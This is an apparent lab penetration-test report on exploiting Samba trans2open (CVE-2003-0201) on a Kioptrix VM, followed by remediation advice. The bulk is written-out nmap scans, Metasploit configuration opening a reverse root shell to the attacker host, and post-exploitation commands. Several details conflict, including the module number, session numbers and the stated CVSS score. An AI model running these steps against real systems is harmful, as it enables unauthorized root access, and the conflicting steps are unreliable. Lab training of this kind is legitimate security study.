

Security Assessment Report: Exploitation of Samba trans2open Remote Buffer Overflow

Author: Sudip

Target System: Kioptrix Linux VM (192.168.83.137)

Attacker Platform: Kali Linux (192.168.83.129)

Assessment Date: July 29, 2026

1. Executive Summary

A security assessment of the target host (192.168.83.137) was conducted within a controlled laboratory environment to evaluate its vulnerability posture. The assessment identified a critical vulnerability in the Server Message Block (SMB) service provided by Samba: an off-by-one buffer overflow flaw within the trans2open request handling logic.

Successful exploitation using the Metasploit Framework allowed unauthenticated remote command execution on the target host. Because the Samba daemon was executing with root-level privileges, successful exploitation yields full administrative control over the underlying system.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (10.0 / 10.0)
Primary Vulnerability	Samba trans2open Remote Buffer Overflow (CVE-2003-0201)
System Compromise	Complete Administrative Takeover (Root Access)
Data Confidentiality	Severely Compromised — Full system read access to files and configurations
System Integrity	Severely Compromised — Unrestricted modify, write, and delete capabilities

2. Scope and Methodology

The assessment followed standard penetration testing methodologies across six core phases:

1. Reconnaissance
2. Scanning and Enumeration
3. Vulnerability Assessment
4. Exploitation
5. Post-Exploitation Validation
6. Reporting

3. Technical Finding and Exploitation Phase

Finding : Samba trans2open Remote Buffer Overflow

- **Vulnerability Type:** Remote Code Execution / Buffer Overflow
- **CVSS v3 Base Score:** 9.8 (Critical)
- **CVE ID:** CVE-2003-0201
- **Access Vector:** Network / Remote

Step 1: Initial Service Scanning

Objective: Determine the operational status of NetBIOS/SMB port services on the target.

Command: `nmap -sV -p139,445 192.168.83.137`

```
(sudip@kali)-[~]
$ nmap -sV -p139,445 192.168.83.137
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-29 12:48 +0545
Nmap scan report for 192.168.83.137
Host is up (0.0011s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Samba smbd (workgroup: MYGROUP)
445/tcp   closed microsoft-ds
MAC Address: 00:0C:29:50:59:59 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
```

Analysis: Port 139/tcp was identified as open and running Samba smbd, while port 445/tcp was closed.

Step 2: Advanced Enumeration and OS Detection

Objective: Gather detailed service banners, OS signatures, and NetBIOS host info.

Command: `nmap -sC -sV -A -p139 192.168.83.137`

```
(sudip@kali)-[~]
$ nmap -sC -sV -A -p139 192.168.83.137
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-29 12:49 +0545
Nmap scan report for 192.168.83.137
Host is up (0.0015s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Samba smbd (workgroup: MYGROUP)
MAC Address: 00:0C:29:50:59:59 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT      ADDRESS
1   1.54 ms  192.168.83.137

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.78 seconds
```

Analysis: The target responded to NetBIOS name queries as KIOPTRIX running a legacy Linux kernel (2.4.X). SMB2 negotiation failed, indicating an older SMBv1-only Samba protocol stack (Samba 2.2.x era).

```
--(audisp@kali)-[~]--  
└─$ msfconsole  
  
Metasploit tip: Organize your work by creating workspaces with workspace -a <name>  
  
[#####] [#####]  
0 ##### $S 55 7a 28  
1 ##### 55 7a 28  
2 ##### 55 7a 28  
3 ##### 55 7a 28  
4 ##### 55 7a 28  
5 ##### 55 7a 28  
6 ##### 55 7a 28  
7 ##### 55 7a 28  
8 ##### 55 7a 28  
9 ##### 55 7a 28  
A ##### 55 7a 28  
B ##### 55 7a 28  
C ##### 55 7a 28  
D ##### 55 7a 28  
E ##### 55 7a 28  
F ##### 55 7a 28
```

```
+ --=[ metasploit v6.4.135-dev ]  
+ --=[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]  
+ --=[ 433 post - 49 encoders - 14 nops - 12 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project  
  
msf > search samba  
  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
0 exploit/unix/webapp/citrix_access_gateway_exec 2018-12-21 excellent Yes Citrix Access Gateway Command Execution  
1 exploit/windows/license/callicint_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow  
2 \ target: Automatic . . .  
3 \ target: Windows 2000 English . . .  
4 \ target: Windows XP English SP0-1 . . .  
5 \ target: Windows XP English SP2 . . .  
6 \ target: Windows 2003 English SP0 . . .  
7 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution  
8 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource  
9 \ target: Windows x86 . . .  
10 \ target: Windows x64 . . .  
11 post/linux/gather/enum_configs . normal No Linux Gather Configurations  
12 auxiliary/scanner/rsync/modules_list . normal No List Rsync Modules  
13 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code E  
xecution  
14 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection  
15 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
```

Step 4: Module Configuration and Exploitation Execution

Objective: Configure parameters for the target IP (192.168.83.137) and attacker IP (192.168.83.129), then execute the exploit payload.

Commands:

- use 69
- set payload linux/x86/shell_reverse_tcp
- set RHOSTS 192.168.83.137
- set LHOST 192.168.83.129
- run

```
msf > use 69
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(linux/samba/trans2open) > set RHOSTS 192.168.83.137
RHOSTS => 192.168.83.137
msf exploit(linux/samba/trans2open) > set lhost 192.168.83.129
lhost => 192.168.83.129
msf exploit(linux/samba/trans2open) > run
Started reverse TCP handler on 192.168.83.129:4444
192.168.83.137:139 - Trying return address 0xbffffdfc ...
192.168.83.137:139 - Trying return address 0xbffffcfc ...
192.168.83.137:139 - Trying return address 0xbffffbfc ...
192.168.83.137:139 - Trying return address 0xbffffafc ...
192.168.83.137:139 - Trying return address 0xbffff9fc ...
192.168.83.137:139 - Trying return address 0xbffff8fc ...
192.168.83.137:139 - Trying return address 0xbffff7fc ...
192.168.83.137:139 - Trying return address 0xbffff6fc ...
192.168.83.137:139 - Trying return address 0xbffff5fc ...
[*] Command shell session 1 opened (192.168.83.129:4444 -> 192.168.83.137:32797) at 2026-07-29 14:51:23 +0545
```

Execution Outcome: Metasploit delivers structured packet requests targeting the trans2open function, triggering a buffer overflow to direct process execution to the configured reverse shell payload (linux/x86/shell_reverse_tcp).

Step 5: Post Exploitation Validation

Objective: Verify successful access to the compromised system.

Commands:

- whoami
- id
- ls -la
- pwd
- cat/var/spool/mail/root

```
[*] Command shell session 13 opened (192.168.83.129:4444 → 192.168.83.137:32793) at 2026-07-29 14:46:41 +0545
whoami
root
id
uid=0(root) gid=0(root) groups=99(nobody)
uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
ls -la
total 2
drwxrwxrwt  2 root    root      1024 Jul 29 04:02 .
drwxr-xr-x 19 root    root      1024 Jul 29 02:51 ..
pwd
/tmp
cat /var/spool/mail/root
From root  Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
        by kioptrix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
        for root@kioptrix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptrix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptrix.level1>
To: root@kioptrix.level1
Subject: About Level 2
Status: 0

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy ...

From root  Tue Jul 28 22:33:58 2026
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
        by kioptrix.level1 (8.11.6/8.11.6) id 66T2XwT01241
        for root; Tue, 28 Jul 2026 22:33:58 -0400
```

4. Impact Assessment

Exploitation of CVE-2003-0201 grants immediate, unauthenticated remote access to the target host. Primary impacts include:

- **Complete System Compromise:** Full access to kernel features and administrative commands.
- **Data Exfiltration:** Ability to read sensitive files, password hashes (/etc/shadow), and proprietary configurations.
- **System Hijacking:** Ability to modify system binaries, install persistence mechanisms, or pivot to adjacent systems on the 192.168.83.0/24 network segment.
- **Service Disruption:** Potential for host instability or Denial of Service (DoS) if memory offsets crash the daemon during brute-force attempts.

5. Remediation and Recommendations

Immediate Remediation

1. **Upgrade Samba:** Upgrade to a supported version of Samba.
2. **Restrict SMB Traffic:** Block incoming connections to port 139/tcp at the host and network firewall boundaries for untrusted subnets.
3. **Disable Legacy Protocols:** Disable SMBv1 support entirely across network shares.

Long-Term Defense Strategy

- **Patch Management:** Establish automated patch management schedules for infrastructure services.
- **Network Segmentation:** Isolate legacy systems into restricted VLANs with zero-trust access controls.
- **Intrusion Detection/Prevention (IDS/IPS):** Deploy network IDS rules to detect and block malformed SMB transaction requests.
- **Principle of Least Privilege:** Run network daemons under dedicated low-privilege service accounts rather than root.

6. Disclaimer

This document was generated for educational and authorized testing purposes within a controlled lab environment. Unauthorized scanning or exploitation of target systems without explicit authorization is strictly illegal.